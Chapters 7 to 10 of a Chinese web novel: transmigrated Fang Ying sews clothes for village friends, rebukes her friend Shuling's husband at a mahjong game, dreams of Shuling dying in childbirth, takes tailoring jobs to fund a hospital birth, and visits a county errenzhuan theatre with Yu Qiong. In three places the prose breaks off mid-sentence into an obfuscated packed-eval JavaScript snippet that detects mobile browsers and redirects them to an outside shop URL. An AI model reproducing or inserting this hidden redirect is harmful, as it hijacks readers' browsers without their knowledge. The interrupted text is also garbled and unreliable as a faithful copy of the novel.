淑玲露出笑容,她抬眼望向方英,亮晶晶的月牙眼中含着期待,“好哇!” 方英要当裁缝,技术不是问题,工具却面临问题。 几个人一起来到鲁枝枝家里,方英认真听完鲁枝枝对于对襟外套和样式描述和制作要求,找来尺子细心量了她上身的各个围度尺寸,在三个好姐们儿战战兢兢、将信将疑的目光中,拿着一把剪刀利落地将鲁枝枝那块价值不低的缎面布料裁剪开来。 然后,她问道:“枝枝,你家缝纫机在哪?” “我家没有缝纫机。”鲁枝枝说道:“咱村里有缝纫机的一共不超过十家。除了崔裁缝有两台,老陈家有,还有……” “英子,你姐家有!”丘盼儿道:“你姐家那台是新式的,好像很贵呢,前年你姐和周大夫结婚的时候买的。” “哦哦。”方英点了点头,“那咱们带着布,去我姐家,借她家的缝纫机用用。” 来到姐姐方华家,方英见到了盼儿口中那台新式缝纫机。在她看来,明明是一台古董一样的,老式脚踏式缝纫机…… 7. 第7章 淑玲的丈夫 方英坐在缝纫机前,检查调试了一番。 她找来一块没用的碎布头放在缝纫台,用脚踩动踏板带动机针上下运动,针头带着线穿过布料,走出工整的缝线。 “怎么样妹子?”方华眼中闪着骄傲的光彩,“这机器好用不?” 方英点了一下头,“可以。虽然机型古老,但是能用。” “古老!?”方华一脸不服气,“这可是新款的!我和你姐夫结婚时候,他家给买的三大件,永久牌自行车、上海牌手表、还有这台蜜蜂牌缝纫机,可都是高级货!” 方英轻轻笑了笑,“哦哦。”她问道:“现在还没有电动缝纫机吗?” 方华愣了一下,“缝纫机不都是这样脚踏的吗?哪有插电的呀。”她笑道:“还是这种好,如果是插电的,赶上停电不就用不了了。” 方英点点头,“说的也是。” 她想,这个年代村里供电不稳,的确还是机械脚踏式缝纫机更加实用。 由于设备受限,制衣的过程比她预想得慢很多。 基本的拼接缝合倒算顺利,但缎面裁口最易散开抽丝,她面临一个难题:锁边。这台缝纫机只能直线平缝,没有锁边机,她只好用手针以锁边针法一针一针缝,锁住毛边。 鲁枝枝这件衣裳,方英从早到晚忙了整整两天。这天晚上,她在家里终于基本完工,只剩下最后一道工序熨烫。 她对母亲问道:“妈,咱家有熨斗吗?” “有,”英子妈应道:“妈去给你拿。” 过来一会儿,英子妈拿来一根黑乎乎细长的铁棍,顶端焊着一块黑色三角铁,举在手上问道:“现在放炉子里烧上吗?” “这是什么?”方英皱起眉,满脸疑惑,“烙铁吗?上刑用的!?” 她在记忆里搜寻眼前这个物件,好像在一些古装剧里严刑逼供的情景中见过,差役拿着烧红的烙铁,烫在犯人身上,滋啦作响,苦叫连连。 “这是烙铁,也能当熨斗用。”英子妈说道:“咱们有时候熨衣服,都用它啊。” “是把烙铁放炉子里烧红,然后拿来烫衣服吗?”方英惊愕又不可置信,“那样不会把布一烫一窟窿吗?” 英子妈笑道:“不用烧红,烧一会儿温度够了就行。”她拿来一块干净的抹布,“你把这抹布用水浸湿,等会儿用湿抹布把衣服和烙铁隔开,衣服就不会烫坏了。” “哦!”方英心想,这个年代电熨斗和蒸汽熨斗尚未普及,但有智慧的人们自有办法。 烙铁插在冬天取暖的火炉里,很快被烧热。方英拿着烙铁,隔着湿抹布熨烫鲁枝枝的衣裳,一来她用这个“老物件”极不熟练,二来她怕烫坏布料格外小心。最后,布料没有烫坏,熨得平整有型,但她的手却烫伤了好几个水泡。 第二天早上,方英拿着做好的深绿色缎面对襟外褂来到枝枝家,盼儿和淑玲也在这。 方英把衣服藏在身后,故意做出苦闷抱歉的样子,“枝枝,不好意思,你的衣服我做毁了。”她说完,忍着笑观察鲁枝枝的表情。 鲁枝枝脸上的失落和懊恼藏都藏不住,却勉强保持大度,挤出一个转瞬即逝的别扭苦笑,“没关系英子,毁了就毁了吧。” 盼儿和淑玲对这个结果似乎并不意外,二人眨着眼睛看看方英,又看看枝枝,然后对视了一眼,鼓鼓嘴一时不知该说什么调节气氛。 方英终于忍俊不禁,哈哈笑着把衣服捧到枝枝面前,“骗你的啦!衣裳我已经做好了,你试试看合不合身。” 鲁枝枝表情立马多云转晴,极为惊喜,拿过衣服往身上套,她轻抚身上的衣服,眼神中露出强烈的欢喜和雀跃,“英子,这衣裳真是你做的?!你做得也太好了吧!!!” 盼儿和淑玲也围着枝枝,欣赏方英给她做的新衣服。 “枝枝,英子给你做的衣服真合身!”盼儿仔细观察衣服的细节,“这小翻领、这袖口、这兜!太立整了!一点瑕疵都没有!” “是啊,英子你好厉害!感觉你比崔裁缝手艺还好,你都可以接活儿赚钱啦!”淑玲摸摸枝枝的衣服,清澈的月牙眼中满是羡慕,她嘟着小嘴对方英说:“英子,等我生完小孩,你一定也得给我做一件!” “我不要枝枝这样绿色的,到时候我买粉色的布料,你给我做。” “好哇,”方英爽快笑道:“没问题!” “玲儿,你做衣裳来得及,先往后排哈。”丘盼儿挽上方英的胳膊,“英子,走走走!赶紧陪我去买布,买回来你抓紧帮我做西服和喇叭裤!” 四个好姐们儿挎着胳膊拉着手,嬉笑着一起出门去买布。 虽然做衣服费时费力,而且方英手上的水泡还没消,但是看着好姐们儿的笑脸,能为她们做点什么,她是真的打心底里开心。 她使用老式的设备和工具渐渐熟练,做盼儿的衣裤倒快了些。又三天过去,她做好了盼儿的西服和喇叭裤,成品十分完美,盼儿满意的不得了。 最近做衣服,家里的线用去好多,这天傍晚,方英想去趟村里的小卖部买针线。 走在村道上,碰巧遇见李淑玲。 “玲儿,你去哪儿呀?” “英子!”淑玲笑盈盈地朝她招招手,“我去小卖部。” “我也是。”天色已经稍暗,尽管每场雪后,各户村民都会把自家门前的积雪清扫干净,但难免有零星清理不到位的地方,被来往的人踩实成冰。方英担心淑玲踩到冰滑倒,所以小心搀扶着她,“一起走吧。” 她问:“玲儿,你去小卖部要买什么?” “我不买啥,去找朱武。”李淑玲说道:“我在娘家住了好几天,他今天来接我了。下午他说去小卖部打会儿牌,到现在还没回来,我去叫他回家吃饭。” “哦。”方英问道:“玲儿,你什么时候和他回南屯?” “明天早上就得回去了。”淑玲微微皱起眉头,不开心地说道:“英子,我真不想回南屯,我还想天天和你和盼儿、枝枝一起玩。” 二人说话间,已经走到小卖部。一进门烟雾缭绕,四个男人围坐一桌,在打麻将,每人面前有些皱巴巴的散碎零钱。 这四人一老三青。 岁数最大的是这家小卖部的老板,名叫郝钱,为人抠门爱计较,绰号“郝老抠”。 其中一个年轻人是郝老抠的儿子,大名郝大宝,和他爹长得很像,都是獐头鼠目、贼眉鼠眼、眼珠发黄,所以村里人给他起了一个外号“黄眼耗子”。还有一个是黄眼耗子的朋友,本村青年三愣子。 麻将桌上的第四个人,便是李淑玲的丈夫,朱武。 方英原本以为,淑玲的丈夫应该是个20岁左右的年轻小伙儿,但她看眼前这张脸,相貌平平无奇、眼尾已有淡纹,感觉起码有30岁。 淑玲轻轻对丈夫说道:“爸妈把饭做好了,跟我回家吃饭吧?” “等一会儿,等我打完这把。”朱武没有看淑玲一眼,目光凝在面前的牌上,手指搓着一张麻将算计。 黄眼耗子催促道:“快出牌!别磨叽。” 朱武把手中那张牌扔出去,“五条!” “胡了!”三愣子把面前的牌一推,喜笑颜开道:“朱武你点炮儿了嗷!” 四人开始洗牌,搓麻声哗哗作响。 淑玲拉了一下丈夫的胳膊,“别玩了,跟我回去吧。” 朱武没好气地甩开淑玲的手,甚至推了她一把,“你先走,别管我!” 淑玲向后踉跄,差点摔倒。 方英连忙扶住淑玲,将她护在身后,对朱武厉声斥道:“朱武你干什么?淑玲是你媳妇儿,她还怀着孕,你怎么能推她?” 她的声音很大,牌桌上的四人被震到,看向她愣了两秒,却又开始码牌。 朱武没做解释,也没有离开凳子,目光再次凝到牌上。淑玲委屈,小声呜呜咽咽地哭起来。 郝老抠吐出一口烟,慢悠悠地说:“小玲啊,都出门子的人了,得懂点事儿了。在外面,给老爷们儿点面子,爱打两把麻将不是毛病,他想继续玩,你就别叫他。” 他半抬眼皮,看向方英,“英子,今天叔也得说说你,别人两口子小打小闹,外人别跟着掺和,轮不到你在这大呼小叫。” 方英瞬间怒火上头,气不打一处来。 类似郝老抠这样装蒜的老登,她以前是袁柔的时候,也曾遇到过几个。那时她窝囊懦弱,实际恨得牙痒痒,表面却忍气吞声,回以妥协顺服的笑。 但是现在,她是方英,她绝对不要再窝囊了! 方英冷哼一声,“叔,原来你也知道,这是淑玲和朱武两口子的事?”她瞪着郝老抠高声道:“那你在这说三道四什么?” 郝老抠面色难看,想要张嘴反驳,方英却继续骂道:“我们看你岁数大叫你一声叔,别太把自己当回事了!” “你是仗着自己有半头白头发,多吃几年干饭,就倚老卖老,对年轻人指手画脚吗?!以后你要是有好话,可以说出来,要是狗嘴里吐不出象牙,那就别张嘴!” 郝老抠气得憋红了脸,夹烟的手指都微微颤抖,“方英子,你骂我是狗?你敢这么说话!信不信我找你爹去?” “找我爹不急。依我看,先去趟乡派出所。”方英扫了一眼牌桌上的零钱,“你们这是聚众赌博,我去请警察过来,看看怎么处理。” 三愣子先慌了,“别呀英子,我们玩小的,就是个娱乐,你别把事闹大呀!” 郝老抠的媳妇走过来,好声好气地劝道:“英子,消消气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242712|197806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,叔婶拿你们当自家孩子,说深说浅你别在意。” “今天这牌局散了。”郝老抠的媳妇对朱武说道:“朱武,你赶紧跟淑玲回去吧!” 朱武悻悻然把牌一推,抓起面前的一把零钱塞进口袋,耷拉着脑袋终于站起身。 方英狠狠瞪了朱武一眼,她真想痛骂这个男人一顿,毕竟这个男人最可恶最该骂,但却不忍当着淑玲的面开口。 她转过身,看见淑玲泪水朦胧的双眼,可怜巴巴、委屈无辜。她拿出手帕,轻轻帮她擦了擦眼泪,柔声说道:“走吧,玲儿,我送你回去。” 她搀着淑玲走在前面,朱武跟在后面。 离开小卖部走了一段路,方英才发现,朱武走路一瘸一拐,是个跛子。 她将淑玲送到老李家门口,目送她进院,对慢了几步的朱武说道:“朱武,淑玲是你媳妇儿,也是我的好姐们儿,你好好对待她。”她的语气似在嘱咐,似在命令,又似在警告。 朱武闷声“嗯。”了一声,跛着脚走进院子。 方英回到家时,她家的晚饭也已做好。炕桌放上炕,饭菜摆上桌,方英和爸妈围坐在桌前。她毫无胃口、闷闷不乐。 “咋了姑娘?”英子妈问道:“咋不高兴呢?不是买针线去么,买到了吗?” “针线我忘买了。我在小卖部碰见朱武了。”方英沉默两秒,愁眉不展,“淑玲为啥会嫁给那样人啊?” 方万春喝下一口大碴粥,说道:“都怨她姑呗。” 方英疑惑,“她姑?” 方万春点头,“对,淑玲的亲姑姑,把她坑了。” “淑玲她姑嫁的男人是南屯的。有一年她姑家里垒烟囱,朱武去帮工,从房顶上掉下来,把腿摔折了,当时找大夫接没接好,后来落下残疾成了瘸子。” “他因为这毛病娶不上媳妇,天天在家里作,还隔三差五到淑玲她姑家闹,把她姑烦得够呛。”方万春愤愤不平道:“淑玲她姑也真不是人,拿她亲侄女还人情了。” “是啊。”英子妈面露惋惜和不忍,“小玲挺好个姑娘,嫁个瘸子,而且那朱武比她大十来岁呢。” 方英不解,“朱武这样的条件,就算她姑给介绍,淑玲也不会同意吧?淑玲爸妈也不该同意呀?” “所以说她姑损呢!”方万春讲道:“淑玲一家子信着她姑了,但她姑当时说的没一句真话。” “说朱武腿伤是暂时的,过几天就好了;说朱武25,年龄大点会疼人,其实他都30了;说朱武家里特别有钱,其实那家人家挺困难的……” “因为怕露馅,相门户去看家,加上结婚头半个月,都是借的他们南屯别人家大砖房住的。” 方英意识到,淑玲的婚姻,和原本方英的婚姻一样,也是一场恶毒的骗局。 她气愤道:“事情败露后,淑玲应该离婚,离开那个男人!” “女孩子出一家进一家哪那么容易。”英子妈愁道:“没过多久小玲就怀孕了,离婚的话她和孩子谁养啊,她要带着孩子再嫁人也难。”她无奈道:“只能凑合过,好歹是一家人家。” 方英感到一种深深的压抑和无力感。 这天夜里,她再次做了一个十分真实的梦。和上一次一样,她既是旁观者,也是梦中人,仿佛被植入一段记忆。 这次的梦不长,但比上一次更加悲伤,更加痛苦,她的心脏都在剧痛。 梦里她像疯了一般,冲到老李家淑玲的小屋,一个婆子走出来,苦着脸说了句:“难产,孩子没保住,大人也不行了。” 淑玲妈哭得肝肠寸断,“求求你,救救我闺女!救救她……” 那婆子摇了摇头,“血都流干了,没救了。就不该在家生,要是到城里的医院生,估计能活命。” 屋里弥漫着血腥味,淑玲虚弱地躺在炕上,脸色惨白如纸。她和盼儿、枝枝围在淑玲身边,在哭,每个人都在哭,不住地流眼泪。 淑玲费力地朝她伸出手,她伸手握住她冰凉无力的手,盼儿和枝枝的手也握上来,四个人的手紧紧握在一起。 淑玲用微弱的气声说了一句:“好姐们儿,一辈子……” 那双美丽含笑的月牙眼看着她,也看着盼儿和枝枝,渐渐失去了光亮。 方英猛然睁开双眼,从噩梦中醒来。 她悲伤、惊恐,流了一脸的泪,也出了一身冷汗。她怕极了,她知道这个梦和之前那个梦一样,都是属于原本方英的记忆。 她的心砰砰直跳,大口喘着气,浑身都在发抖。片刻之后,她迫使自己冷静下来,搁置悲痛和恐慌。因为她也知道,未来是可以改变的,方英可以不嫁给陈广林,李淑玲也可以不难产而死。 她要改变尚未发生的事,她要救淑玲,她一定要。 8. 第8章 接裁缝活儿 天一亮,方英急匆匆跑来李淑玲家。 淑玲正在屋里收拾包袱,准备今天和丈夫回南屯。她见到方英,有点意外,“英子,这么早,你咋来了?” 方英尽量保持镇定,眼中的焦急和担忧却难以掩藏,“玲儿,你预产期什么时候?” “预产期?”淑玲呆呆的,这个词汇她听来有些生涩,“‘预产期’是什么意思?” “就是问你,大概什么时候生?” “噢。”淑玲想了想,“约莫是农历二月中旬,还有差不多两个月。” “你去医院做过产检吗?”方英面色紧张,“宝宝发育怎么样?胎位正不正?” “没去过医院,不过前几天我找老刘太太给摸过了,说一切正常。”淑玲有点诧异,笑眼弯弯说:“英子,你还没结婚,怎么知道这些呢?” “老刘太太?”方英无心玩笑,认真问道:“哪个老刘太太?她是医生吗?” “不是啦,就是前院老刘太太,今年76了吧。”淑玲说道:“这些年,咱村女人怀孕都会找她摸摸,生的时候也会请她帮忙接生。” “老刘太太虽然没念过书,大字不识几个,但她经验丰富啊,接生的小孩儿得有上百个了。”她咯咯笑道:“而且她自己,就生了12个孩子呢!” 方英想到梦里那个报丧的婆子,莫不就是淑玲口中这位老刘太太。 “不,不行!”噩梦中的惨象历历在目,她惶恐不安,悲痛难过,整个人不受控制地发抖,“淑玲,你得去医院,做正规的检查!生的时候,也绝对不能在家里生,一定要去医院生!” 淑玲抬手抚了抚方英的胳膊,“英子,你冷吗?怎么打哆嗦了?”她对她笑道:“你不用担心我,我身体很好,没那么娇气,不会有事的。” 方英看着淑玲的笑脸,那般纯净美好,青春年华,如花似玉,她的心痛和担忧更加深重,紧紧攥住淑玲的双手,“玲儿,生孩子是性命攸关的大事,绝对马虎不得。” “你信我的,千万千万要去城里的医院生。”她不带一丝笑意,格外严肃认真。 淑玲的笑容渐渐变淡,微微皱起眉头,月牙眼中浮现为难和忧愁,“去城里医院生,估计得一百多块钱呢。”她垂下眼眸,“我哪有那么多钱啊。” 方英怔住两秒,随后坚定开口:“钱的事情,我来想办法。”她对她说出一句祝福,更像许下一句承诺:“玲儿,你放心,你和孩子一定会平安的。” 从淑玲家离开,方英感觉到肩上沉甸甸的责任和压力,也觉得浑身干劲儿十足。她下定决心,她要改变尚未发生的悲剧,她要凑到那笔钱,保淑玲和孩子平安。 至于如何筹钱,她心中已有打算。 每年这段时间,是裁缝最忙的时候。 临近过年,村里爱美的大姑娘、小媳妇儿,像丘盼儿和鲁枝枝一样,都会想要做身新衣服穿。 此外,这个年代的东北,腊月是办喜事儿的高峰期。 一方面,乡亲们冬天农闲,有时间聚在一起操办婚事。另一方面,冬季天寒地冻,便于食材保存。提前宰杀的年猪、鸡鸭鹅,冻在室外天然冷库,解冻烹饪后直接上席,酒席的剩菜冻在外面,办事儿的那户人家可以一直吃到年后,一点不浪费。 据方英所知,村里有好几对新人,年前要办喜事儿。而新人结婚,男女都要定做新衣裳。 崔裁缝突然去世,现在那些想做衣服的人,正愁找不到裁缝。方英嗅到商机,必要抓住机会。 她找到盼儿和枝枝,请她们陪她去各家宣传游说拉客户。 村里人听说方英要当裁缝接活儿,起初都是诧异迟疑,但看到鲁枝枝穿的对襟外褂和丘盼儿穿的西服喇叭裤,又心生喜欢、跃跃欲试。 崔裁缝做一件上衣手工费3元、一条裤子手工费2元,方英给出低价:上衣2元、裤子1元,并且承诺做毁包赔布料。 走了一天下来,她接到了十几单。 接下来的半个月,方英日日忙碌,废寝忘食,恨不得不眠不休。 她白天在姐姐方华家,借用缝纫机将裁好的布料进行初步缝合。晚上回到家里,有电点灯、停电点蜡点煤油灯,在昏暗的光线下用手针锁边、用烙铁熨烫。 她惊异于方英这副身体的超强身体素质,即便起早贪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242713|197806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑,不停不歇,也精力充沛,不觉疲倦。而且她视力极佳,即使在弱光下熬夜,双眼也丝毫不会干涩疲劳。 盼儿和枝枝,知道方英做裁缝是为了赚钱给淑玲。她们不知方英的噩梦,不懂她为何突然执着于让淑玲去城里医院生孩子,但她们能感受到方英的急迫,明白她很想赚到一笔钱。 好姐们儿想要做成的事,她们必然全力帮忙。所以最近,她们也常常帮方英做一些锁边、剪线头之类的简单活儿。 方英熟能生巧,加上有盼儿和枝枝协助,她做衣服越来越快,从一开始的两天一件、到后来的一天一件、再到一天两件……她提升速度的同时,始终保证做工质量,并且开创了一些在这个时代十分新潮的款式,找她做衣服的乡亲们都十分满意。 她的名声渐渐传开,接替崔裁缝,成为本村新一任裁缝。 然而,她的生意却只火爆了半个月。 村里的大姑娘、小媳妇儿做新衣要赶在年前,新人办喜事儿也集中在腊月。春节之后,只有正月要结婚的两对新人来找她做衣服,之后便再没了生意。 到目前为止,她虽然赚到了几十块钱,但还不够淑玲去医院生产的费用。淑玲预产期渐近,每过一天、每过一分一秒,方英心里都越发焦急忧虑。 正月初五这天,她拿着做好的衣服送去乡亲家里,在村道上碰巧遇见于穹。 他对她打招呼道:“英子,过年好!” 她回应:“过年好。” “英子,听说你最近开始做裁缝了?” 方英点了一下头,“嗯。你要做新衣裳吗?”她推销道:“衬衫夹克、裤装大衣,我都能做的。” “那你能做戏服吗?” 方英诧异,“戏服?” “对,唱二人转的戏服。”于穹说道:“城里的剧院想换一批新的戏服,还没找到合适的裁缝做。” “给工钱蛮高,短褂可以给5块钱一件,裙袄和长袍可以给8块钱一件。”他对她微笑,“你要是有兴趣,明天跟我一起进城吧?” 方英眼中闪烁起充满希望的光彩,她露出欢喜的笑容,“好,我跟你去!” 9. 第9章 看他唱戏 正月初六这天,飘着小雪,刮着冷风。 方英跟着于穹,顶风冒雪走了十几里路到镇上,在镇上坐大客车去往县城。 她心想,幸亏她现在有方英这副强健有力的好身体,若是换了从前袁柔那副久坐缺乏锻炼、积劳成疾的虚弱身子,莫说大冷天走十几里路,哪怕只是在雪地里冻上一个多小时,恐怕都会生一场病。 客车里有煤炉烧煤供热,上车后总算暖和了些。方英冻得麻木的脸蛋慢慢恢复知觉,睫毛上凝结的冰晶也渐渐融化。 她看向身旁的于穹,“你去城里唱戏,每次都要走这么远的路吗?” 于穹点头,“等开春就好了,乡道上的雪化尽,就可以骑自行车了。” 方英暗自感叹,这个年代的交通实在不便。 她看着他,看他年轻俊美的侧脸、看他冻得红红的耳朵、看他肩头的补丁,心中生出些复杂的情愫,既有欣赏又有同情。想到他今时的艰苦和日后的成就,她对他心生敬意。 她轻轻开口:“唱戏,很辛苦吧?” 他怔住一瞬,粲然一笑道:“不辛苦,我喜欢唱戏。” 县城虽不算大,但比农村热闹繁华得多。剧院晚上演出,白天演员们忙着排练、背唱词、练功夫。 方英跟于穹来到忙碌拥挤的后台。 一个高挑靓丽的女人,双手转着手绢,朝他们二人走过来,对于穹笑道:“来了,老弟!” 这个女人名叫荣艳娟,今年27岁,鹅蛋脸盘,嗓门很亮。她正是于穹现在的一副架儿搭档。 于穹回应道:“娟姐!” 荣艳娟手上的手绢没停,打量了方英两眼,“这小丫头是谁呀?”她眉眼含笑,对于穹调侃:“弟儿,她是你的小对象吗?” “不是的,姐。”于穹介绍道:“她是我们村最优秀的裁缝,我介绍她来给咱们剧院做戏服。” “哦,”荣艳娟对方英眯眼一笑,“原来不是小对象,是小裁缝!” 于穹问:“娟姐,郭大姐在吗?” “在,我刚才还见着她了呢。”荣艳娟张望了一下,说道:“你去那边找找。” 于穹带方英找到剧团负责采购的郭大姐,介绍双方对接,便去排练节目了。 在郭大姐的安排下,方英用带来的皮卷尺给剧团各位演员量体,将测量到的尺寸数据记录在她的制衣本子上。 然后,根据每位演员经常扮的角色,确定了需要制作各款戏服的样式和件数。依据制衣工序复杂程度和耗时长短,方英和郭大姐商定了各款工费。 接下来,她和郭大姐一起去了一趟百货大楼,选购做戏服所需的布料,并买了一些扣子、针线等制衣配件及耗材。 忙完这些,已经下午五点多。从县城回镇上的客车,每天只有一趟,下午三点半发车,早已过去。 郭大姐回了家,方英扛着沉重的布料独自走在街道上,不知该去哪里,也不知能去哪里,天色越来越黑,晚上越来越冷,孤独和恐惧涌上她的心头。 这种感觉熟悉又糟糕。她以前是袁柔的时候,这种感觉常常煎熬着她,成为方英之后,每天和家人朋友们在一起,她已经快要忘记这种感觉,快要忘记她依然会因孤单而害怕。 这个年代的东北县城,并没有多么丰富的夜生活,也没有24小时营业的商超、网吧或快餐店。这个时间,路边的店铺纷纷关门,不过,几家剧院张灯结彩开始营业,人们挽着胳膊说着笑着,三三两两搭伴去看戏。 方英在这座城市举目无亲,人生地不熟,她只认识一个人,就是于穹。眼下的情况,她只能去找他。 她加快脚步,走回二人转剧院,好不容易在演员化妆间找到于穹。 于穹见到方英,很是意外,他接过她肩上沉重巨大的布包,“英子,你还没回去吗?!” “我没想到这么晚才办完事,错过车了。”方英神色中流露出无助和窘迫,声音小小,“我没有地方可去。” 于穹皱起眉头,“是啊,你没带户口本和介绍信,住不了招待所或者旅馆。”他想了一下,“演员休息室有两张床,供演员候场的时候临时休息。” “最近这段日子,剧院半夜散场之后,别人都回家了,我会在那住。”他缓缓说道:“英子,你要是不介意,今晚和我一起,在那将就一宿?” 方英面色纠结为难,“睡一间房吗?” “嗯,一间房。”于穹眸光闪烁了一下,补充道:“但两张床。” 方英思索片刻,觉得今晚能有个地方住已经不错了,否则她就要正月里流落街头。于是,她对于穹点了点头,“好吧。” 她看着他,他也看着她,两个人都不说话,化妆间里很嘈杂,但他们之间的气氛安静得尴尬。 几秒之后,于穹开口打破:“英子,你晚上吃饭了吗?” 方英摇摇头,“没有。” “你在这等我一下。”于穹说罢,披上棉衣离开了化妆间。 过了一会儿,他带着一身冬夜的凉气跑回来,到她面前站定,解开衣襟从怀里拿出一个冒着热气的烤地瓜,勾起唇角对她微笑道:“给,吃个地瓜暖和暖和。” 方英接过烤地瓜捧在手里,温热传到掌心,她心里也萌生温暖的感动,方才的孤独和不安似乎已被冲淡。 她回他以温柔的笑,“谢谢。” “不客气。”于穹从衣兜里摸出一张票,“你呆着没意思,可以去看演出,等演出散场了,再到休息室睡觉。” 方英很是开心,“好哇!” 这个剧场不小,固定的座位约有两百余个,春节期间在过道又临时加了几十个小凳。 好戏即将开场,观众座无虚席。方英的座位不前不后,处在观众席中部的位置,看戏视野较佳。 主持人上台问好,报幕:“下面首先登场的这一对演员,为我们带来两段二人转小帽,《月牙五更》、《双回门》。” “掌声有请,荣艳娟、于穹!” 台下掌声雷动,方英跟着用力鼓掌。她有些惊讶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242714|197806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,于穹和荣艳娟竟然是第一对登台。 二人走上台来,扮相一个美艳一个俊朗,乐队伴奏起,二人开腔: “一呀更啊里呀, 月牙儿没出来呀啊, 貂蝉美女呀走下楼来呀, 双膝跪在地尘埃呀啊, ……”1 方英是袁柔的时候,不是二人转迷。即便在几十年后,于穹已经成为著名二人转表演艺术家,但她对他关注不多,只偶尔在电视上看过他唱二人转,对他的表演有些模糊的印象。 今天是她第一次现场看他表演,况且,这是年轻的他在表演。 方英深受震撼。 一方面,于穹的表演着实精彩绝伦,身段灵活,神情机巧,舞台魅力十足。最绝的还是他那副万里挑一的好嗓子,清澈、高亢、嘹亮,听得人如痴如醉,直教人为之着迷。 另一方面,这段演出看下来,方英深深信了盼儿和枝枝之前说过的话:“于穹台上台下完全是两个人。” 方英和于穹接触不多,感觉他生活中含蓄内敛,偶尔还有一点腼腆。但台上的他,活力四射、热情如火,毫无一丝羞涩,更无半分腼腆,表演游刃有余,十分放得开。 他表演的时候,不仅气质与生活中不同,甚至连面相都有所改变。她看台下的他,觉得他一脸正气,端庄正经;她看台上的他,觉得他嬉皮笑脸,笑的时候眼尾炸花,像一个欢脱浪荡的……花心男。 方英心里困惑,觉得于穹观之不透,她不知道,哪一个才是真正的他。 台上第二段小帽《双回门》唱罢,台下观众情绪热烈,叫好声四起。 收赏的小哥端着托盘在观众席间行走。 方英低声对旁边人问道:“请问一下,给赏钱要给多少?” “自愿的,给不给都行,给多给少也没讲究,就是个心意。” 方英先从口袋里掏出五块钱,因为她觉得于穹和搭档的表演值得这份打赏。但是她转念一想,她近期的首要任务,是要为淑玲攒钱,所以她又将五元揣回兜里,换了一张五毛出来。 收赏小哥每收一份赏钱,就会吆喝一声: “谢王老板赏钱五十!” “谢谢这位先生赏钱十块!” “谢张老板赏钱一百!” …… 到方英这里,“谢谢这位小姐赏钱,五毛!” 没错,她这五毛钱,与众多高额赏钱比微不足道。但她仍然很高兴,因为,这是她付出的心意。 演出从晚七点开始,一直持续到十一点半,散场后观众仍然意犹未尽,很多人离场时嘴里不自觉地哼唱一些二人转的调子。 于穹挤过人群,来到方英身边,“走吧,我带你去休息室。”他换回了寻常的衣服,脸上的妆也已卸去,干净清爽。 她看着他,觉得他又恢复了平日里的模样和神情,既熟悉又陌生。 观众散去,住在近处的演职人员也各自回了家。偌大的剧院,只剩下两个人,她和他。 10. 第10章 在剧院过夜 方英跟着于穹,来到演员休息室。 这个小屋不大,除了间隔一小段距离并排放置的两张单人床,还有一张小桌子,空地上堆放着一些扇子、手绢之类唱二人传用的道具。 两人各自躺下,桌上留了一盏光线微弱的小灯。窗外夜色沉沉,屋里安静无声,方英却毫无睡意,她仍沉浸在听戏的兴奋劲儿中无法平静。 她想着于穹和荣艳娟在台上默契配合的样子,对他说道:“和你搭档的那位姐姐,很漂亮。” “嗯,娟姐唱二人转十几年了。”于穹说道:“她唱戏好,人也挺好。” 方英沉默几秒,鬼使神差地问出:“你喜欢她吗?” 于穹愣了一下,“你说的‘喜欢’,是指搭档之间的欣赏,还是指……男人对女人的喜欢?” “是指男女之间的喜欢。”方英再次追问:“于穹,你喜欢娟姐吗?” 她其实清楚,她的问题实在有些冒昧。但她的好奇心,战胜了礼貌。 于穹一本正经地说:“我对娟姐,只有搭档之间纯洁的欣赏,和对于业内前辈的尊敬。” “她比我大五岁,平时拿我当弟弟,我也把她当姐姐。” “哦。”方英幽幽地说:“我看你们俩在台上唱戏的时候,互动挺亲热的,你看她的眼神,也蛮暧昧轻佻的。” 她说出这话的语气竟然酸溜溜的,令她自己觉得莫名其妙。 于穹无语地笑出声,“那是在做戏!”他解释道:“二人转在唱一些欢乐恩爱桥段的时候,搭档之间就是要有亲近一点的互动。” “比如今天唱的《双回门》,扮的是小两口,两个演员就要做小两口的戏。如果唱《墙里墙外》,那就要演寡妇和光棍;如果唱《猪八戒拱地》,那就要演猪八戒和高翠兰……” “扮什么像什么,唱什么做什么戏,才能吃得了这碗饭。”他认真说道:“要是我板着一张脸,像个木头一样站在台上,那我对不起买票的观众,对搭档、对乐队老师也是极其不尊重的。” “原来是这样。”方英明白了于穹的敬业,她似乎有点理亏,“是我误会了。” 